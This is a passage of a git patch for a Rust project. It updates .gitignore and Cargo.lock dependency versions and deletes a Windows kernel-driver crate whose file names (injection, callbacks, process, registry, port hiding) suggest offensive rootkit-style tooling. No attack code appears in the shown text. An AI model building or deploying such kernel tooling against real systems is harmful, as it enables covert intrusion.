From 3a89a3f7ddc0010478b6e796a3d5cb0d9a76cc76 Mon Sep 17 00:00:00 2001 From: joaoviictorti Date: Tue, 25 Feb 2025 11:43:29 -0300 Subject: [PATCH] Small other changes --- .gitignore | 22 +- Cargo.lock | 557 +++++++++--------- Cargo.toml | 2 +- crates/README.md | 4 - crates/common/Cargo.toml | 8 - crates/common/src/enums.rs | 65 -- crates/common/src/ioctls.rs | 61 -- crates/common/src/lib.rs | 7 - crates/common/src/structs.rs | 287 --------- crates/shadowx/Cargo.toml | 31 - crates/shadowx/src/callback/callbacks/mod.rs | 11 - .../src/callback/callbacks/notify_routine.rs | 248 -------- .../shadowx/src/callback/callbacks/object.rs | 287 --------- .../src/callback/callbacks/registry.rs | 280 --------- crates/shadowx/src/callback/find_callback.rs | 173 ------ crates/shadowx/src/callback/mod.rs | 6 - crates/shadowx/src/data/enums.rs | 13 - crates/shadowx/src/data/externs.rs | 68 --- crates/shadowx/src/data/mod.rs | 13 - crates/shadowx/src/data/structs.rs | 399 ------------- crates/shadowx/src/data/types.rs | 41 -- crates/shadowx/src/driver.rs | 180 ------ crates/shadowx/src/error.rs | 150 ----- crates/shadowx/src/injection.rs | 389 ------------ crates/shadowx/src/lib.rs | 42 -- crates/shadowx/src/misc.rs | 178 ------ crates/shadowx/src/module.rs | 245 -------- crates/shadowx/src/offsets.rs | 189 ------ crates/shadowx/src/port.rs | 527 ----------------- crates/shadowx/src/process/callback.rs | 124 ---- crates/shadowx/src/process/mod.rs | 341 ----------- crates/shadowx/src/registry/callback.rs | 413 ------------- crates/shadowx/src/registry/mod.rs | 265 --------- crates/shadowx/src/registry/utils.rs | 300 ---------- crates/shadowx/src/thread/callback.rs | 125 ---- crates/shadowx/src/thread/mod.rs | 210 ------- crates/shadowx/src/utils/address.rs | 106 ---- crates/shadowx/src/utils/file.rs | 122 ---- crates/shadowx/src/utils/handle.rs | 54 -- crates/shadowx/src/utils/lock.rs | 28 - crates/shadowx/src/utils/mod.rs | 331 ----------- crates/shadowx/src/utils/patterns.rs | 218 ------- crates/shadowx/src/utils/pool.rs | 63 -- crates/shadowx/src/utils/process_attach.rs | 75 --- crates/shadowx/src/utils/uni.rs | 64 -- 45 files changed, 289 insertions(+), 7033 deletions(-) delete mode 100644 crates/README.md delete mode 100644 crates/common/Cargo.toml delete mode 100644 crates/common/src/enums.rs delete mode 100644 crates/common/src/ioctls.rs delete mode 100644 crates/common/src/lib.rs delete mode 100644 crates/common/src/structs.rs delete mode 100644 crates/shadowx/Cargo.toml delete mode 100644 crates/shadowx/src/callback/callbacks/mod.rs delete mode 100644 crates/shadowx/src/callback/callbacks/notify_routine.rs delete mode 100644 crates/shadowx/src/callback/callbacks/object.rs delete mode 100644 crates/shadowx/src/callback/callbacks/registry.rs delete mode 100644 crates/shadowx/src/callback/find_callback.rs delete mode 100644 crates/shadowx/src/callback/mod.rs delete mode 100644 crates/shadowx/src/data/enums.rs delete mode 100644 crates/shadowx/src/data/externs.rs delete mode 100644 crates/shadowx/src/data/mod.rs delete mode 100644 crates/shadowx/src/data/structs.rs delete mode 100644 crates/shadowx/src/data/types.rs delete mode 100644 crates/shadowx/src/driver.rs delete mode 100644 crates/shadowx/src/error.rs delete mode 100644 crates/shadowx/src/injection.rs delete mode 100644 crates/shadowx/src/lib.rs delete mode 100644 crates/shadowx/src/misc.rs delete mode 100644 crates/shadowx/src/module.rs delete mode 100644 crates/shadowx/src/offsets.rs delete mode 100644 crates/shadowx/src/port.rs delete mode 100644 crates/shadowx/src/process/callback.rs delete mode 100644 crates/shadowx/src/process/mod.rs delete mode 100644 crates/shadowx/src/registry/callback.rs delete mode 100644 crates/shadowx/src/registry/mod.rs delete mode 100644 crates/shadowx/src/registry/utils.rs delete mode 100644 crates/shadowx/src/thread/callback.rs delete mode 100644 crates/shadowx/src/thread/mod.rs delete mode 100644 crates/shadowx/src/utils/address.rs delete mode 100644 crates/shadowx/src/utils/file.rs delete mode 100644 crates/shadowx/src/utils/handle.rs delete mode 100644 crates/shadowx/src/utils/lock.rs delete mode 100644 crates/shadowx/src/utils/mod.rs delete mode 100644 crates/shadowx/src/utils/patterns.rs delete mode 100644 crates/shadowx/src/utils/pool.rs delete mode 100644 crates/shadowx/src/utils/process_attach.rs delete mode 100644 crates/shadowx/src/utils/uni.rs diff --git a/.gitignore b/.gitignore index aabb0d2..bd00623 100644 --- a/.gitignore +++ b/.gitignore @@ -1,10 +1,12 @@ -target -backup -client/target -driver/target -client/Cargo.lock -driver/Cargo.lock -crates/common/target -crates/shadowx/target -crates/common/Cargo.lock -crates/shadowx/Cargo.lock +.DS_Store + +# Generated by Cargo +# will have compiled files and executables +debug/ +target/ + +# These are backup files generated by rustfmt +**/*.rs.bk + +# MSVC Windows builds of rustc generate these, which store debugging information +*.pdb \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock index 185d6ed..7064955 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1,6 +1,6 @@ # This file is automatically @generated by Cargo. # It is not intended for manual editing. -version = 3 +version = 4 [[package]] name = "aho-corasick" @@ -28,9 +28,9 @@ dependencies = [ [[package]] name = "anstream" -version = "0.6.17" +version = "0.6.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23a1e53f0f5d86382dafe1cf314783b2044280f406e7e1506368220ad11b1338" +checksum = "8acc5369981196006228e28809f761875c0327210a891e941f4c683b3a99529b" dependencies = [ "anstyle", "anstyle-parse", @@ -62,24 +62,25 @@ version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "79947af37f4177cfead1110013d678905c37501914fba0efea834c3fe9a8d60c" dependencies = [ - "windows-sys 0.59.0", + "windows-sys", ] [[package]] name = "anstyle-wincon" -version = "3.0.6" +version = "3.0.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2109dbce0e72be3ec00bed26e6a7479ca384ad226efdd66db8fa2e3a38c83125" +checksum = "ca3534e77181a9cc07539ad51f2141fe32f6c3ffd4df76db8ad92346b003ae4e" dependencies = [ "anstyle", - "windows-sys 0.59.0", + "once_cell", + "windows-sys", ] [[package]] name = "anyhow" -version = "1.0.92" +version = "1.0.95" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "74f37166d7d48a0284b99dd824694c26119c700b53bf0d1540cdb147dbdaaf13" +checksum = "34ac096ce696dc2fcabef30516bb13c0a68a11d30131d3df6f04711467681b04" [[package]] name = "autocfg" @@ -96,7 +97,7 @@ dependencies = [ "bitflags", "cexpr", "clang-sys", - "itertools", + "itertools 0.12.1", "lazy_static", "lazycell", "log", @@ -106,7 +107,7 @@ dependencies = [ "regex", "rustc-hash", "shlex", - "syn 2.0.86", + "syn", "which", ] @@ -118,15 +119,15 @@ checksum = "f798d2d157e547aa99aab0967df39edd0b70307312b6f8bd2848e6abe40896e0" [[package]] name = "bitflags" -version = "2.6.0" +version = "2.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" +checksum = "8f68f53c83ab957f72c32642f3868eec03eb974d1fb82e453128456482613d36" [[package]] name = "bumpalo" -version = "3.16.0" +version = "3.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c" +checksum = "1628fb46dfa0b37568d12e5edd512553eccf6a22a78e8bde00bb4aed84d5bdbf" [[package]] name = "camino" @@ -139,9 +140,9 @@ dependencies = [ [[package]] name = "cargo-platform" -version = "0.1.8" +version = "0.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "24b1f0365a6c6bb4020cd05806fd0d33c44d38046b8bd7f0e40814b9763cabfc" +checksum = "e35af189006b9c0f00a064685c727031e3ed2d8020f7ba284d78cc2671bd36ea" dependencies = [ "serde", ] @@ -157,14 +158,14 @@ dependencies = [ "semver", "serde", "serde_json", - "thiserror", + "thiserror 1.0.69", ] [[package]] name = "cc" -version = "1.1.31" +version = "1.2.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c2e7962b54006dcfcc61cb72735f4d89bb97061dd6a7ed882ec6b8ee53714c6f" +checksum = "0c3d1b2e905a3a7b00a6141adb0e4c0bb941d11caf55349d863942a1cc44e3c9" dependencies = [ "shlex", ] @@ -186,16 +187,16 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "chrono" -version = "0.4.38" +version = "0.4.39" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a21f936df1771bf62b77f047b726c4625ff2e8aa607c01ec06e5a05bd8463401" +checksum = "7e36cc9d416881d2e24f9a963be5fb1cd90966419ac844274161d10488b3e825" dependencies = [ "android-tzdata", "iana-time-zone", "js-sys", "num-traits", "wasm-bindgen", - "windows-targets 0.52.6", + "windows-targets", ] [[package]] @@ -211,9 +212,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.5.20" +version = "4.5.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b97f376d85a664d5837dbae44bf546e6477a679ff6610010f17276f686d867e8" +checksum = "8acebd8ad879283633b343856142139f2da2317c96b05b4dd6181c61e2480184" dependencies = [ "clap_builder", "clap_derive", @@ -231,9 +232,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.5.20" +version = "4.5.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "19bc80abd44e4bed93ca373a0704ccbd1b710dc5749406201bb018272808dc54" +checksum = "f6ba32cbda51c7e1dfd49acc1457ba1a7dec5b64fe360e828acb13ca8dc9c2f9" dependencies = [ "anstream", "anstyle", @@ -243,21 +244,21 @@ dependencies = [ [[package]] name = "clap_derive" -version = "4.5.18" +version = "4.5.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4ac6a0c7b1a9e9a5186361f67dfa1b88213572f427fb9ab038efb2bd8c582dab" +checksum = "bf4ced95c6f4a675af3da73304b9ac4ed991640c36374e4b46795c49e17cf1ed" dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.86", + "syn", ] [[package]] name = "clap_lex" -version = "0.7.2" +version = "0.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1462739cb27611015575c0c11df5df7601141071f07518d56fcc1be504cbec97" +checksum = "f46ad14479a25103f283c0f10005961cf086d8dc42205bb44c46ac563475dca6" [[package]] name = "colorchoice" @@ -267,12 +268,12 @@ checksum = "5b63caa9aa9397e2d9480a9b13673856c78d8ac123288526c37d7839f2a86990" [[package]] name = "colored" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cbf2150cce219b664a8a70df7a1f933836724b503f8a413af9365b4dcc4d90b8" +checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c" dependencies = [ "lazy_static", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -280,7 +281,6 @@ name = "common" version = "0.1.0" dependencies = [ "ntapi", - "windows-sys 0.52.0", ] [[package]] @@ -291,9 +291,9 @@ checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" [[package]] name = "crossbeam-deque" -version = "0.8.5" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" +checksum = "9dd111b7b7f7d55b72c0a6ae361660ee5853c9af73f70c3c2ef6858b950e2e51" dependencies = [ "crossbeam-epoch", "crossbeam-utils", @@ -310,9 +310,9 @@ dependencies = [ [[package]] name = "crossbeam-utils" -version = "0.8.20" +version = "0.8.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" [[package]] name = "either" @@ -322,9 +322,9 @@ checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0" [[package]] name = "env_filter" -version = "0.1.2" +version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f2c92ceda6ceec50f43169f9ee8424fe2db276791afde7b2cd8bc084cb376ab" +checksum = "186e05a59d4c50738528153b83b0b0194d3a29507dfec16eccd4b342903397d0" dependencies = [ "log", "regex", @@ -332,9 +332,9 @@ dependencies = [ [[package]] name = "env_logger" -version = "0.11.5" +version = "0.11.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e13fa619b91fb2381732789fc5de83b45675e882f66623b7d8cb4f643017018d" +checksum = "dcaee3d8e3cfc3fd92428d477bc97fc29ec8716d180c0d74c643bb26166660e0" dependencies = [ "anstream", "anstyle", @@ -345,19 +345,19 @@ dependencies = [ [[package]] name = "errno" -version = "0.3.9" +version = "0.3.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "534c5cf6194dfab3db3242765c03bbe257cf92f22b38f6bc0c58d59108a820ba" +checksum = "33d852cb9b869c2a9b3df2f71a3074817f01e1844f839a144f5fcef059a4eb5d" dependencies = [ "libc", - "windows-sys 0.52.0", + "windows-sys", ] [[package]] name = "glob" -version = "0.3.1" +version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" +checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2" [[package]] name = "heck" @@ -367,11 +367,11 @@ checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" [[package]] name = "home" -version = "0.5.9" +version = "0.5.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5" +checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf" dependencies = [ - "windows-sys 0.52.0", + "windows-sys", ] [[package]] @@ -419,17 +419,27 @@ dependencies = [ ] [[package]] -name = "itoa" -version = "1.0.11" +name = "itertools" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b" +checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d75a2a4b1b190afb6f5425f10f6a8f959d2ea0b9c2b1d79553551850539e4674" [[package]] name = "js-sys" -version = "0.3.72" +version = "0.3.77" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a88f1bda2bd75b0452a14784937d796722fdebfe50df998aeb3f0b7603019a9" +checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f" dependencies = [ + "once_cell", "wasm-bindgen", ] @@ -450,25 +460,25 @@ checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" [[package]] name = "libc" -version = "0.2.161" +version = "0.2.169" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e9489c2807c139ffd9c1794f4af0ebe86a828db53ecdc7fea2111d0fed085d1" +checksum = "b5aba8db14291edd000dfcc4d620c7ebfb122c613afb886ca8803fa4e128a20a" [[package]] name = "libloading" -version = "0.8.5" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4979f22fdb869068da03c9f7528f8297c6fd2606bc3a4affe42e6a823fdb8da4" +checksum = "fc2f4eb4bc735547cfed7c0a4922cbd04a4655978c09b54f1f7b228750664c34" dependencies = [ "cfg-if", - "windows-targets 0.52.6", + "windows-targets", ] [[package]] name = "linux-raw-sys" -version = "0.4.14" +version = "0.4.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "78b3ae25bc7c8c38cec158d1f2757ee79e9b3740fbc7ccf0e59e4b08d793fa89" +checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" [[package]] name = "lock_api" @@ -482,9 +492,9 @@ dependencies = [ [[package]] name = "log" -version = "0.4.22" +version = "0.4.25" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24" +checksum = "04cbf5b083de1c7e0222a7a51dbfdba1cbe1c6ab0b15e29fff3f6c077fd9cd9f" [[package]] name = "matchers" @@ -501,15 +511,6 @@ version = "2.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" -[[package]] -name = "microseh" -version = "1.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "434c4ca971bcd27ed5c8bf9a2e24aa9fcb9affc2e67696b44a80b98f3b46a015" -dependencies = [ - "cc", -] - [[package]] name = "minimal-lexical" version = "0.2.1" @@ -562,9 +563,9 @@ checksum = "d0d354e9a302760d07e025701d40534f17dd1fe4c4db955b4e3bd2907c63bdee" [[package]] name = "once_cell" -version = "1.20.2" +version = "1.20.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775" +checksum = "945462a4b81e43c4e3ba96bd7b49d834c6f61198356aa858733bc4acf3cbe62e" [[package]] name = "overload" @@ -573,35 +574,41 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" [[package]] -name = "pin-project-lite" -version = "0.2.15" +name = "paste" +version = "1.0.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "915a1e146535de9163f3987b8944ed8cf49a18bb0056bcebcdcece385cece4ff" +checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a" + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" [[package]] name = "prettyplease" -version = "0.2.25" +version = "0.2.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64d1ec885c64d0457d564db4ec299b2dae3f9c02808b8ad9c3a089c591b18033" +checksum = "6924ced06e1f7dfe3fa48d57b9f74f55d8915f5036121bef647ef4b204895fac" dependencies = [ "proc-macro2", - "syn 2.0.86", + "syn", ] [[package]] name = "proc-macro2" -version = "1.0.89" +version = "1.0.93" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f139b0662de085916d1fb67d2b4169d1addddda1919e696f3252b740b629986e" +checksum = "60946a68e5f9d28b0dc1c21bb8a97ee7d018a8b322fa57838ba31cc878e22d99" dependencies = [ "unicode-ident", ] [[package]] name = "quote" -version = "1.0.37" +version = "1.0.38" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af" +checksum = "0e4dccaaaf89514f546c693ddc140f729f958c247918a13380cccc6078391acc" dependencies = [ "proc-macro2", ] @@ -634,7 +641,7 @@ checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191" dependencies = [ "aho-corasick", "memchr", - "regex-automata 0.4.8", + "regex-automata 0.4.9", "regex-syntax 0.8.5", ] @@ -649,9 +656,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.8" +version = "0.4.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "368758f23274712b504848e9d5a6f010445cc8b87a7cdb4d7cbee666c1288da3" +checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908" dependencies = [ "aho-corasick", "memchr", @@ -678,28 +685,28 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" [[package]] name = "rustix" -version = "0.38.38" +version = "0.38.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa260229e6538e52293eeb577aabd09945a09d6d9cc0fc550ed7529056c2e32a" +checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" dependencies = [ "bitflags", "errno", "libc", "linux-raw-sys", - "windows-sys 0.52.0", + "windows-sys", ] [[package]] name = "rustversion" -version = "1.0.18" +version = "1.0.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e819f2bc632f285be6d7cd36e25940d45b2391dd6d9b939e79de557f7014248" +checksum = "f7c45b9784283f1b2e7fb61b42047c2fd678ef0960d4f6f1eba131594cc369d4" [[package]] name = "ryu" -version = "1.0.18" +version = "1.0.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f" +checksum = "6ea1a2d0a644769cc99faa24c3ad26b379b786fe7c36fd3c546254801650e6dd" [[package]] name = "scopeguard" @@ -709,38 +716,38 @@ checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" [[package]] name = "semver" -version = "1.0.23" +version = "1.0.25" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b" +checksum = "f79dfe2d285b0488816f30e700a7438c5a73d816b5b7d3ac72fbc48b0d185e03" dependencies = [ "serde", ] [[package]] name = "serde" -version = "1.0.214" +version = "1.0.217" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f55c3193aca71c12ad7890f1785d2b73e1b9f63a0bbc353c08ef26fe03fc56b5" +checksum = "02fc4265df13d6fa1d00ecff087228cc0a2b5f3c0e87e258d8b94a156e984c70" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.214" +version = "1.0.217" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "de523f781f095e28fa605cdce0f8307e451cc0fd14e2eb4cd2e98a355b147766" +checksum = "5a9bf7cf98d04a2b28aead066b7496853d4779c9cc183c440dbac457641e19a0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.86", + "syn", ] [[package]] name = "serde_json" -version = "1.0.132" +version = "1.0.138" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d726bfaff4b320266d395898905d0eba0345aae23b54aee3a737e260fd46db03" +checksum = "d434192e7da787e94a6ea7e9670b26a036d0ca41e0b7efb2676dd32bae872949" dependencies = [ "itoa", "memchr", @@ -759,7 +766,7 @@ dependencies = [ "env_logger", "log", "sysinfo", - "windows-sys 0.59.0", + "windows-sys", ] [[package]] @@ -768,17 +775,13 @@ version = "0.1.0" dependencies = [ "bitfield", "common", - "log", - "microseh", "ntapi", "obfstr", "spin", - "thiserror-no-std", + "thiserror 2.0.11", "wdk", "wdk-alloc", - "wdk-panic", "wdk-sys", - "winapi", ] [[package]] @@ -819,20 +822,9 @@ checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" [[package]] name = "syn" -version = "1.0.109" +version = "2.0.98" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" -dependencies = [ - "proc-macro2", - "quote", - "unicode-ident", -] - -[[package]] -name = "syn" -version = "2.0.86" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e89275301d38033efb81a6e60e3497e734dfcc62571f2854bf4b16690398824c" +checksum = "36147f1a48ae0ec2b5b3bc5b537d267457555a10dc06f3dbc8cb11ba3006d3b1" dependencies = [ "proc-macro2", "quote", @@ -855,42 +847,42 @@ dependencies = [ [[package]] name = "thiserror" -version = "1.0.66" +version = "1.0.69" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d171f59dbaa811dbbb1aee1e73db92ec2b122911a48e1390dfe327a821ddede" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" dependencies = [ - "thiserror-impl", + "thiserror-impl 1.0.69", +] + +[[package]] +name = "thiserror" +version = "2.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d452f284b73e6d76dd36758a0c8684b1d5be31f92b89d07fd5822175732206fc" +dependencies = [ + "thiserror-impl 2.0.11", ] [[package]] name = "thiserror-impl" -version = "1.0.66" +version = "1.0.69" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b08be0f17bd307950653ce45db00cd31200d82b624b36e181337d9c7d92765b5" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" dependencies = [ "proc-macro2", "quote", - "syn 2.0.86", + "syn", ] [[package]] -name = "thiserror-impl-no-std" -version = "2.0.2" +name = "thiserror-impl" +version = "2.0.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "58e6318948b519ba6dc2b442a6d0b904ebfb8d411a3ad3e07843615a72249758" +checksum = "26afc1baea8a989337eeb52b6e72a039780ce45c3edfcc9c5b9d112feeb173c2" dependencies = [ "proc-macro2", "quote", - "syn 1.0.109", -] - -[[package]] -name = "thiserror-no-std" -version = "2.0.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3ad459d94dd517257cc96add8a43190ee620011bb6e6cdc82dafd97dfafafea" -dependencies = [ - "thiserror-impl-no-std", + "syn", ] [[package]] @@ -905,19 +897,31 @@ dependencies = [ [[package]] name = "tracing" -version = "0.1.40" +version = "0.1.41" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0" dependencies = [ "pin-project-lite", + "tracing-attributes", "tracing-core", ] [[package]] -name = "tracing-core" -version = "0.1.32" +name = "tracing-attributes" +version = "0.1.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +checksum = "395ae124c09f9e6918a2310af6038fba074bcf474ac352496d5910dd59a2226d" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tracing-core" +version = "0.1.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e672c95779cf947c5311f83787af4fa8fffd12fb27e4993211a84bdfd9610f9c" dependencies = [ "once_cell", "valuable", @@ -936,9 +940,9 @@ dependencies = [ [[package]] name = "tracing-subscriber" -version = "0.3.18" +version = "0.3.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" +checksum = "e8189decb5ac0fa7bc8b96b7cb9b2701d60d48805aca84a238004d665fcc4008" dependencies = [ "matchers", "nu-ansi-term", @@ -954,9 +958,9 @@ dependencies = [ [[package]] name = "unicode-ident" -version = "1.0.13" +version = "1.0.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e91b56cd4cadaeb79bbf1a5645f6b4f8dc5bde8834ad5894a8db35fda9efa1fe" +checksum = "a210d160f08b701c8721ba1c726c11662f877ea6b7094007e1ca9a1041945034" [[package]] name = "utf8parse" @@ -966,41 +970,41 @@ checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" [[package]] name = "valuable" -version = "0.1.0" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" +checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" [[package]] name = "wasm-bindgen" -version = "0.2.95" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "128d1e363af62632b8eb57219c8fd7877144af57558fb2ef0368d0087bddeb2e" +checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5" dependencies = [ "cfg-if", "once_cell", + "rustversion", "wasm-bindgen-macro", ] [[package]] name = "wasm-bindgen-backend" -version = "0.2.95" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb6dd4d3ca0ddffd1dd1c9c04f94b868c37ff5fac97c30b97cff2d74fce3a358" +checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6" dependencies = [ "bumpalo", "log", - "once_cell", "proc-macro2", "quote", - "syn 2.0.86", + "syn", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-macro" -version = "0.2.95" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e79384be7f8f5a9dd5d7167216f022090cf1f9ec128e6e6a482a2cb5c5422c56" +checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -1008,88 +1012,100 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.95" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26c6ab57572f7a24a4985830b120de1594465e5d500f24afe89e16b4e833ef68" +checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de" dependencies = [ "proc-macro2", "quote", - "syn 2.0.86", + "syn", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.95" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = 